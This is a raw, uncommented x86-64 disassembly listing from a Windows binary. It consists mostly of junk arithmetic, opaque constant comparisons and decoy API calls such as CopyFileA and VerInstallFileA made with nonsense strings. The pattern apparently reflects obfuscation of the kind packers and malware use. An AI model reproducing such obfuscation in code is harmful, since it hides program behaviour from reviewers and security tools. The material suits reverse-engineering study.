mov rcx, qword [rcx]
mov rax, qword [rsp + 0x21d38]
xor rax, rcx
mov qword [0x1402412c8], rax
mov eax, dword [rsp + 0xc200]
add eax, 0x91
mov dword [rsp + 0xc200], eax
mov rax, qword [rsp + 0x22928]
movzx edx, word [rax]
mov rax, qword [rsp + 0x1c578]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x8218], ax
mov rax, qword [rsp + 0x16b98]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x14a80]
movsx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
movsx ecx, byte [rsp + 0xf250]
movsx eax, byte [rsp + 0xeb9c]
add ecx, eax
mov rax, qword [rsp + 0x3588]
mov byte [rax], cl
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
mov dword [rsp + 0x1e29c], eax
mov rcx, qword [rsp + 0x21d38]
mov rax, qword [rsp + 0x1aee8]
add rax, rcx
mov qword [rsp + 0x6598], rax
movzx ecx, word [rsp + 0x67d0]
mov rax, qword [rsp + 0x1c578]
movzx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0xe8a0]
mov word [rax], cx
mov rax, qword [rsp + 0x23568]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x26148]
sub ecx, eax
mov rax, qword [rsp + 0xe1e0]
mov dword [rax], ecx
mov rax, qword [rsp + 0x9808]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x65c8]
add eax, ecx
mov byte [rsp + 0x19cf8], al
mov rax, qword [rsp + 0x22928]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x8218]
add ecx, eax
mov rax, qword [rsp + 0x1c578]
mov word [rax], cx
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0xf250]
add ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
movsx eax, byte [rsp + 0xf250]
movsx ecx, byte [rsp + 0xeb9c]
and eax, ecx
mov byte [rsp + 0x18b28], al
mov rax, qword [rsp + 0x186d8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x18858]
movsx ecx, word [rax]
mov eax, edx
xor eax, ecx
mov word [rsp + 0x1f220], ax
mov rcx, qword [0x140244ef8]
mov rax, qword [0x1402412d0]
or rax, rcx
mov qword [rsp + 0x14a60], rax
mov rax, qword [rsp + 0x1aee8]
movzx ecx, al
mov rax, qword [rsp + 0x6598]
sar rax, cl
mov qword [rsp + 0x21d38], rax
mov ecx, dword [rsp + 0x1c058]
mov rax, qword [rsp + 0x7010]
mov eax, dword [rax]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x8f38]
mov dword [rax], ecx
mov rax, qword [rsp + 0xe1e0]
mov ecx, dword [rsp + 0x225f8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1e838], eax
movzx eax, word [rsp + 0x13120]
movzx ecx, word [rsp + 0x8218]
sub eax, ecx
mov word [rsp + 0x67d0], ax
mov rcx, qword [0x1402412d0]
mov rax, qword [rsp + 0x14a60]
and rax, rcx
mov qword [0x140244ef8], rax
mov rax, qword [rsp + 0x186d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f220]
sub eax, ecx
mov word [rsp + 0x11564], ax
movsx ecx, byte [rsp + 0x18b28]
mov rax, qword [rsp + 0x264f8]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x3588]
mov byte [rax], cl
movzx ecx, byte [rsp + 0x9ad8]
movzx eax, byte [rsp + 0x19cf8]
add ecx, eax
mov rax, qword [rsp + 0x105d0]
mov byte [rax], cl
cmp dword [rsp + 0xc200], 0xc4f0
jne 0x14005fe81
mov rcx, qword [rsp + 0x19120]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x29528]
add rax, rcx
mov qword [rsp + 0x1aee8], rax
mov rax, qword [rsp + 0x8f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68c8]
add ecx, eax
mov rax, qword [rsp + 0x20e58]
mov dword [rax], ecx
mov rcx, qword [rsp + 0xe1e0]
mov rax, qword [rsp + 0x16938]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x5b28]
mov dword [rax], ecx
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x3588]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov rax, qword [rsp + 0xdb98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f220]
add eax, ecx
mov word [rsp + 0x11564], ax
movzx edx, word [rsp + 0x8218]
movzx eax, word [rsp + 0x67d0]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x22928]
mov word [rax], cx
movzx ecx, byte [rsp + 0x19cf8]
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
xor ecx, eax
mov rax, qword [rsp + 0x2a0d8]
mov byte [rax], cl
movsx edx, byte [rsp + 0xeb9c]
mov rax, qword [rsp + 0x264f8]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0xf250], al
mov rax, qword [rsp + 0x18858]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x11564]
or ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
mov rax, qword [rsp + 0x23568]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x225f8]
and eax, ecx
mov dword [rsp + 0x1e838], eax
mov rcx, qword [rsp + 0x8f38]
mov rax, qword [rsp + 0x7010]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0xe198]
mov dword [rax], ecx
mov rax, qword [rsp + 0x23188]
mov rax, qword [rax]
add rax, qword [rsp + 0x1aee8]
mov qword [rsp + 0x21d38], rax
movzx ecx, word [rsp + 0x13120]
mov rax, qword [rsp + 0xe8a0]
movzx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
mov rax, qword [rsp + 0x264f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x18b28]
sub eax, ecx
mov byte [rsp + 0xf250], al
movzx edx, byte [rsp + 0x1522c]
mov rax, qword [rsp + 0x29a80]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x9ad8], al
mov rcx, qword [0x140244ef8]
mov rax, qword [rsp + 0x14a60]
add rax, rcx
mov qword [0x1402412d0], rax
mov rax, qword [rsp + 0x186d8]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x16b98]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
movzx ecx, word [rsp + 0x13120]
movzx eax, word [rsp + 0x8218]
sub ecx, eax
mov rax, qword [rsp + 0x22928]
mov word [rax], cx
mov rcx, qword [rsp + 0x23568]
mov eax, dword [rsp + 0x26148]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x16938]
mov dword [rax], ecx
mov rax, qword [rsp + 0xe198]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x20e58]
mov eax, dword [rax]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x7010]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x29528]
mov rax, qword [rsp + 0x23188]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x21d38], rax
mov eax, dword [rsp + 0x26148]
mov ecx, dword [rsp + 0x1e838]
or ecx, eax
mov rax, qword [rsp + 0x23568]
mov dword [rax], ecx
movzx ecx, word [rsp + 0x8218]
mov rax, qword [rsp + 0x1f660]
movzx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0xe8a0]
mov word [rax], cx
mov rax, qword [rsp + 0x16b98]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x186d8]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
mov rax, qword [rsp + 0x29a80]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x65c8]
add ecx, eax
mov rax, qword [rsp + 0x29a80]
mov byte [rax], cl
movsx eax, byte [rsp + 0xeb9c]
movsx ecx, byte [rsp + 0xf250]
add eax, ecx
mov byte [rsp + 0x18b28], al
mov rax, qword [rsp + 0xe8a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13120]
sub eax, ecx
mov word [rsp + 0x8218], ax
mov rcx, qword [rsp + 0xe1e0]
mov rax, qword [rsp + 0x16938]
mov eax, dword [rax]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0xe1e0]
mov dword [rax], ecx
mov rax, qword [rsp + 0x20e58]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x7010]
add ecx, dword [rax]
mov rax, qword [rsp + 0x8f38]
mov dword [rax], ecx
mov rax, qword [rsp + 0x19120]
mov rcx, qword [0x1402412c8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x21d38], rax
mov ecx, dword [rsp + 0x26148]
mov eax, dword [rsp + 0x1e838]
sub eax, ecx
mov dword [rsp + 0x225f8], eax
mov rax, qword [rsp + 0xe8a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x67d0]
sub ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
movsx edx, byte [rsp + 0xf250]
movsx eax, byte [rsp + 0x18b28]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov rcx, qword [0x1402412d0]
mov rax, qword [rsp + 0x14a60]
or rax, rcx
mov qword [0x140244ef8], rax
mov rax, qword [rsp + 0x12e08]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x9ad8]
xor ecx, eax
mov rax, qword [rsp + 0x2a0d8]
mov byte [rax], cl
mov rax, qword [rsp + 0x16b98]
movsx edx, word [rax]
mov rax, qword [rsp + 0x186d8]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x18858]
mov word [rax], cx
mov rax, qword [rsp + 0x14a80]
movsx edx, word [rax]
mov rax, qword [rsp + 0xdb98]
movsx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x1f220], ax
mov rax, qword [rsp + 0x19120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6598]
sub rcx, rax
mov rax, qword [rsp + 0x23188]
mov qword [rax], rcx
mov rax, qword [rsp + 0xe198]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x1c058]
mov rax, qword [rsp + 0x7010]
mov dword [rax], ecx
mov rcx, qword [0x1402412d0]
mov rax, qword [0x140244ef8]
add rax, rcx
mov qword [rsp + 0x14a60], rax
mov rcx, qword [rsp + 0x23568]
mov rax, qword [rsp + 0x5b28]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0xe1e0]
mov dword [rax], ecx
mov eax, dword [rsp + 0x275c8]
add eax, 0xbf
mov dword [rsp + 0x275c8], eax
movzx eax, word [rsp + 0x67d0]
movzx ecx, word [rsp + 0x13120]
add eax, ecx
mov word [rsp + 0x8218], ax
movsx ecx, byte [rsp + 0x18b28]
mov rax, qword [rsp + 0x264f8]
movsx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0x3588]
mov byte [rax], cl
mov rax, qword [rsp + 0x2a0d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9ad8]
add eax, ecx
mov byte [rsp + 0x1522c], al
cmp dword [rsp + 0x275c8], 0x75b8
jbe 0x1400602c2
lea rax, [rsp + 0x9ad8]
mov qword [rsp + 0x3708], rax
movzx edi, word [rsp + 0x8218]
movzx eax, word [rsp + 0x67d0]
sub edi, eax
movzx edx, word [rsp + 0x13120]
mov rax, qword [rsp + 0x1c578]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
cmp edi, eax
je 0x1400608d8
movsx edx, byte [rsp + 0xeb9c]
mov rax, qword [rsp + 0x264f8]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0xf250], al
mov rcx, qword [rsp + 0x9750]
mov rax, qword [rsp + 0x23188]
mov rax, qword [rax]
mov rcx, qword [rcx]
xor rcx, rax
mov rax, qword [rsp + 0x19120]
mov qword [rax], rcx
lea rax, [rsp + 0x264f8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x22928]
mov r8d, 0x3b
lea rdx, [rsp + 0x23568]
mov rcx, qword [rsp + 0x4ab8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rsp + 0xcdb8], eax
cmp dword [rsp + 0x1f908], 0x5de9
jbe 0x140060c26
mov rax, qword [rsp + 0x20e58]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x11234]
or eax, ecx
mov dword [rsp + 0x68c8], eax
mov rax, qword [rsp + 0x3708]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1a870]
mov byte [rax], cl
mov rcx, qword [rsp + 0x16938]
mov rax, qword [rsp + 0xe1e0]
mov eax, dword [rax]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x23568]
mov dword [rax], ecx
movzx ecx, word [rsp + 0x8218]
mov rax, qword [rsp + 0x22928]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x1c578]
mov word [rax], cx
mov rcx, qword [0x1402412d0]
mov rax, qword [rsp + 0x14a60]
sub rax, rcx
mov qword [0x140244ef8], rax
mov rax, qword [rsp + 0x186d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f220]
add eax, ecx
mov word [rsp + 0x11564], ax
movzx edx, byte [rsp + 0x65c8]
mov rax, qword [rsp + 0x2a0d8]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x19cf8], al
movsx ecx, byte [rsp + 0x18b28]
movsx eax, byte [rsp + 0xeb9c]
sub ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov eax, dword [rsp + 0x26148]
mov ecx, dword [rsp + 0x225f8]
add ecx, eax
mov rax, qword [rsp + 0x23568]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x19120]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x21d38]
and rax, rcx
mov qword [rsp + 0x6598], rax
mov rcx, qword [0x140244ef8]
mov rax, qword [0x1402412d0]
sub rax, rcx
mov qword [rsp + 0x14a60], rax
mov eax, dword [rsp + 0x1c058]
mov ecx, dword [rsp + 0x68c8]
xor ecx, eax
mov rax, qword [rsp + 0x7010]
mov dword [rax], ecx
mov rax, qword [rsp + 0xe8a0]
movzx edx, word [rax]
movzx eax, word [rsp + 0x8218]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x22928]
mov word [rax], cx
mov rax, qword [0x1402412d0]
movzx ecx, al
mov rax, qword [rsp + 0x14a60]
shl rax, cl
mov qword [0x140244ef8], rax
mov rax, qword [rsp + 0x18858]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11564]
or eax, ecx
mov word [rsp + 0x1f220], ax
mov eax, dword [rsp + 0x1f908]
sub eax, 0xf2
mov dword [rsp + 0x1f908], eax
movzx ecx, byte [rsp + 0x65c8]
mov rax, qword [rsp + 0x12e08]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x2a0d8]
mov byte [rax], cl
movzx ecx, word [rsp + 0x13120]
mov rax, qword [rsp + 0x22928]
movzx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x1c578]
mov word [rax], cx
mov rcx, qword [rsp + 0x16938]
mov eax, dword [rsp + 0x1e838]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0xe1e0]
mov dword [rax], ecx
mov rcx, qword [0x140244ef8]
mov rax, qword [0x1402412d0]
sub rax, rcx
mov qword [rsp + 0x14a60], rax
mov rax, qword [rsp + 0x7010]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x15368]
add ecx, eax
mov rax, qword [rsp + 0x20e58]
mov dword [rax], ecx
mov rax, qword [rsp + 0x9750]
mov rax, qword [rax]
add rax, qword [0x1402412c8]
mov qword [rsp + 0x29528], rax
movsx ecx, word [rsp + 0x1f220]
mov rax, qword [rsp + 0x18858]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0xdb98]
mov word [rax], cx
mov rcx, qword [0x140244ef8]
mov rax, qword [rsp + 0x14a60]
add rax, rcx
mov qword [0x1402412d0], rax
mov rax, qword [rsp + 0x2a0d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9ad8]
sub eax, ecx
mov byte [rsp + 0x1522c], al
mov rax, qword [rsp + 0x3588]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0xeb9c], al
mov rax, qword [rsp + 0x18858]
movsx edx, word [rax]
mov rax, qword [rsp + 0x16b98]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x11564], ax
movsx ecx, word [rsp + 0x11564]
mov rax, qword [rsp + 0x14a80]
movsx eax, word [rax]
xor ecx, eax
mov rax, qword [rsp + 0x18858]
mov word [rax], cx
jmp 0x1400608d8
mov eax, dword [rsp + 0x1c058]
mov dword [rsp + 0x2d428], eax
cmp dword [rsp + 0x2d428], 0
je 0x140060d10
cmp dword [rsp + 0x2d428], 0x4121dfac
je 0x140060c54
jmp 0x140202401
mov rax, qword [rsp + 0x16938]
mov eax, dword [rax]
mov dword [rsp + 0x2d42c], eax
cmp dword [rsp + 0x2d42c], 0xe9a894bb
je 0x140060c74
jmp 0x140060cc7
mov rcx, qword [rsp + 0x23568]
mov rax, qword [rsp + 0x16938]
mov eax, dword [rax]
mov ecx, dword [rcx]
or ecx, eax
mov rax, qword [rsp + 0xe1e0]
mov dword [rax], ecx
lea rcx, str.Highlighted_rapping
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rsp + 0x1e838], eax
mov rax, qword [rsp + 0x20e58]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1c058]
shl eax, cl
mov dword [rsp + 0x1e29c], eax
jmp 0x140060d0b
mov rax, qword [rsp + 0x1aee8]
mov rcx, qword [rsp + 0x21d38]
sub rcx, rax
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
movzx r9d, word [rsp + 0x1f220]
mov r8, qword [rsp + 0x14a60]
mov rdx, qword [rsp + 0x14a60]
mov rcx, qword [rsp + 0x14a60]
call fcn.140055970
jmp 0x140202401
mov rax, qword [rsp + 0x23568]
mov eax, dword [rax]
mov edx, dword [rsp + 0x1e838]
sub edx, eax
mov ecx, dword [rsp + 0x225f8]
mov eax, dword [rsp + 0x26148]
and eax, ecx
cmp edx, eax
jbe 0x140060de5
mov ecx, 0xc2
call qword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
mov word [rsp + 0x13120], ax
mov rax, qword [rsp + 0x16938]
mov eax, dword [rax]
mov dword [rsp + 0x2d430], eax
cmp dword [rsp + 0x2d430], 0x28ceee02
je 0x140060d6e
jmp 0x140060d70
jmp 0x140060d8b
mov rcx, qword [rsp + 0x6598]
mov rax, qword [rsp + 0x21d38]
sub rax, rcx
mov qword [rsp + 0x1aee8], rax
movsx ecx, byte [rsp + 0x18b28]
movsx eax, byte [rsp + 0xf250]
sub ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov rax, qword [rsp + 0x264f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xeb9c]
add eax, ecx
mov byte [rsp + 0x18b28], al
movzx ecx, word [rsp + 0x13120]
movzx eax, word [rsp + 0x8218]
add ecx, eax
mov rax, qword [rsp + 0xe8a0]
mov word [rax], cx
jmp 0x140202399
mov rcx, qword [rsp + 0xe1e0]
mov eax, dword [rsp + 0x225f8]
mov edx, dword [rcx]
xor edx, eax
mov ecx, dword [rsp + 0x1e838]
mov eax, dword [rsp + 0x26148]
or eax, ecx
cmp edx, eax
jne 0x14020222d
mov eax, dword [rsp + 0x1e838]
mov dword [rsp + 0x2d434], eax
cmp dword [rsp + 0x2d434], 0
je 0x140060e3e
cmp dword [rsp + 0x2d434], 0x7c91396d
je 0x140060ebf
jmp 0x140060fee
movsx edx, byte [rsp + 0xf250]
mov rax, qword [rsp + 0x3588]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x18b28], al
mov rax, qword [rsp + 0x12e08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1522c]
xor eax, ecx
mov byte [rsp + 0x19cf8], al
lea rax, [rsp + 0x15368]
mov qword [rsp + 0x1d60], rax
lea rax, [rsp + 0x14a60]
mov qword [rsp + 0x275b8], rax
mov eax, dword [rsp + 0x225f8]
movzx ecx, al
mov eax, dword [rsp + 0x26148]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x23568]
mov dword [rax], ecx
jmp 0x140060fee
mov rax, qword [rsp + 0x23188]
mov rax, qword [rax]
mov qword [rsp + 0x2d438], rax
movabs rax, 0x2a4a0f4d208beb6
cmp qword [rsp + 0x2d438], rax
je 0x140060eeb
jmp 0x140060fcc
mov dword [rsp + 0x20], 0x9c
mov r9d, 0x1e
mov r8d, 0x25
mov edx, pe_nt_image_headers64
mov rcx, qword [rsp + 0x26d80]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x2342c], eax
mov rax, qword [rsp + 0x23188]
mov rcx, qword [rsp + 0x1aee8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x21d38], rax
mov rax, qword [rsp + 0x275b8]
mov rax, qword [rax]
mov qword [rsp + 0x2d440], rax
movabs rax, 0x71f1bf5ce5722f79
cmp qword [rsp + 0x2d440], rax
je 0x140060f60
jmp 0x140060fa9
movsx ecx, word [rsp + 0x11564]
mov rax, qword [rsp + 0x14a80]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0xdb98]
mov word [rax], cx
movzx r9d, word [rsp + 0x11564]
movzx r8d, word [rsp + 0x13120]
movzx edx, byte [rsp + 0x9ad8]
movzx ecx, word [rsp + 0x67d0]
call fcn.140203290
jmp 0x140060fca
mov r8d, 1
lea rdx, str.vitallyMultimediaFrankincenseMonocle
lea rcx, str.Haha_sickenAbsolve
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [rsp + 0x8e60], eax
jmp 0x140060fee
mov rax, qword [rsp + 0x12e08]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x2a0d8]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x29a80]
mov byte [rax], cl
mov eax, dword [rsp + 0x225f8]
mov edx, dword [rsp + 0x26148]
add edx, eax
mov rax, qword [rsp + 0x16938]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x1e838]
sub eax, ecx
cmp edx, eax
jb 0x140202122
mov eax, dword [rsp + 0x225f8]
mov dword [rsp + 0x21b5c], eax
mov rcx, qword [rsp + 0x21d38]
mov rax, qword [rsp + 0x23188]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x29528], rax
mov rax, qword [rsp + 0x5b28]
mov eax, dword [rax]
mov edi, dword [rsp + 0x26148]
and edi, eax
mov rdx, qword [rsp + 0x16938]
mov rax, qword [rsp + 0x23568]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
cmp edi, eax
jb 0x140201eee
mov rax, qword [rsp + 0x275b8]
mov rax, qword [rax]
mov qword [rsp + 0x2d448], rax
movabs rax, 0x4b35827ce4334c90
cmp qword [rsp + 0x2d448], rax
je 0x1400610ba
movabs rax, 0xe7e607bdb04da3ec
cmp qword [rsp + 0x2d448], rax
je 0x140201e11
jmp 0x140201ec8
movsx eax, word [rsp + 0x11564]
mov dword [rsp + 0x2d450], eax
cmp dword [rsp + 0x2d450], 0
je 0x1400610e9
cmp dword [rsp + 0x2d450], 0x2036
je 0x140201bf4
jmp 0x140201c6b
mov rax, qword [rsp + 0x16b98]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x1f220]
sub ecx, eax
mov rax, qword [rsp + 0x16b98]
mov word [rax], cx
mov rax, qword [rsp + 0x9750]
mov rax, qword [rax]
mov qword [rsp + 0x2d458], rax
movabs rax, 0x587a63b097f97c70
cmp qword [rsp + 0x2d458], rax
je 0x140061135
jmp 0x140061281
mov rcx, qword [rsp + 0x7010]
mov rax, qword [rsp + 0x20e58]
mov eax, dword [rax]
mov ecx, dword [rcx]
or ecx, eax
mov rax, qword [rsp + 0x1d60]
mov dword [rax], ecx
mov rax, qword [rsp + 0x2a0d8]
movzx edi, byte [rax]
mov rax, qword [rsp + 0x1a870]
movzx eax, byte [rax]
movzx ecx, al
sar edi, cl
movzx edx, byte [rsp + 0x65c8]
movzx eax, byte [rsp + 0x1522c]
movzx ecx, al
mov eax, edx
shl eax, cl
cmp edi, eax
jge 0x140061202
mov rax, qword [rsp + 0x20e58]
mov eax, dword [rax]
mov dword [rsp + 0x2d460], eax
cmp dword [rsp + 0x2d460], 0x116f6c48
je 0x1400611e7
cmp dword [rsp + 0x2d460], 0x174de559
je 0x1400611b8
jmp 0x140061202
mov rax, qword [rsp + 0x16b98]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x1c578]
movzx r8d, word [rax]
movzx edx, byte [rsp + 0x1522c]
movzx ecx, word [rsp + 0x8218]
call fcn.140203290
jmp 0x140061202
mov rcx, qword [rsp + 0x1aee8]
mov rax, qword [rsp + 0x6598]
xor rax, rcx
mov qword [rsp + 0x29528], rax
lea rax, [rsp + 0x9750]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x28aa0]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x135f8]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x19068]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x1c518]
mov r8, qword [rsp + 0x28aa0]
mov rdx, qword [rsp + 0x1c518]
mov ecx, 0x25
call sub.VERSION.dll_VerInstallFileA
mov dword [rsp + 0x26148], eax
mov rax, qword [0x140244ef8]
mov rcx, qword [rsp + 0x14a60]
add rcx, rax
mov rax, qword [rsp + 0x275b8]
mov qword [rax], rcx
jmp 0x140201ab4
mov al, byte [rsp + 0x18b28]
mov byte [rsp + 0x2d464], al
cmp byte [rsp + 0x2d464], 0
je 0x14006129e
jmp 0x1402017b9
lea rax, [rsp + 0x1e29c]
mov qword [rsp + 0x2ac70], rax
mov al, byte [rsp + 0x19cf8]
mov byte [rsp + 0x2d468], al
cmp byte [rsp + 0x2d468], 0x7d
je 0x1400612cb
jmp 0x1400613ff
movsx edi, word [rsp + 0x1f220]
mov rax, qword [rsp + 0x16b98]
movsx eax, word [rax]
movzx ecx, al
shl edi, cl
movsx edx, word [rsp + 0x11564]
mov rax, qword [rsp + 0x18858]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
cmp edi, eax
jne 0x1400613b1
mov rax, qword [rsp + 0x9808]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x65c8]
add ecx, eax
mov rax, qword [rsp + 0x12e08]
mov byte [rax], cl
mov al, byte [rsp + 0xf250]
mov byte [rsp + 0x2d46c], al
cmp byte [rsp + 0x2d46c], 0x23
je 0x14006133e
jmp 0x140061393
call qword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [rsp + 0x2be38], eax
mov rax, qword [rsp + 0x1f660]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x8218]
and ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
mov r9d, dword [rsp + 0x225f8]
mov rax, qword [rsp + 0xe198]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x19e60]
mov ecx, dword [rsp + 0x1c058]
call fcn.1400551f0
jmp 0x1400613af
mov rax, qword [rsp + 0x3588]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x18b28]
add eax, ecx
mov byte [rsp + 0xeb9c], al
jmp 0x1400613fa
mov rax, qword [rsp + 0x105d0]
movzx edi, byte [rax]
mov rax, qword [rsp + 0x12e08]
movzx eax, byte [rax]
and edi, eax
movzx edx, byte [rsp + 0x1522c]
mov rax, qword [rsp + 0x1a870]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
cmp edi, eax
je 0x1400613fa
lea rcx, [rsp + 0x26790]
call qword [sym.imp.COMDLG32.dll_ReplaceTextA]
mov qword [rsp + 0x1860], rax
jmp 0x140201785
mov rax, qword [rsp + 0x1a870]
mov al, byte [rax]
mov byte [rsp + 0x2d470], al
cmp byte [rsp + 0x2d470], 0x6f
je 0x14006141f
jmp 0x140061526
movzx eax, word [rsp + 0x67d0]
mov dword [rsp + 0x2d474], eax
cmp dword [rsp + 0x2d474], 0x74c
je 0x14006146d
cmp dword [rsp + 0x2d474], 0xf6c
je 0x14006144a
jmp 0x1400614be
mov rcx, qword [rsp + 0x19120]
mov rax, qword [rsp + 0x1aee8]
mov rcx, qword [rcx]
or rcx, rax
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
jmp 0x1400614be
mov rax, qword [0x140244ef8]
movzx ecx, al
mov rax, qword [0x1402412d0]
shr rax, cl
mov qword [rsp + 0x14a60], rax
lea rcx, [rsp + 0x223b0]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameA]
mov dword [rsp + 0x295e8], eax
mov rcx, qword [rsp + 0x16938]
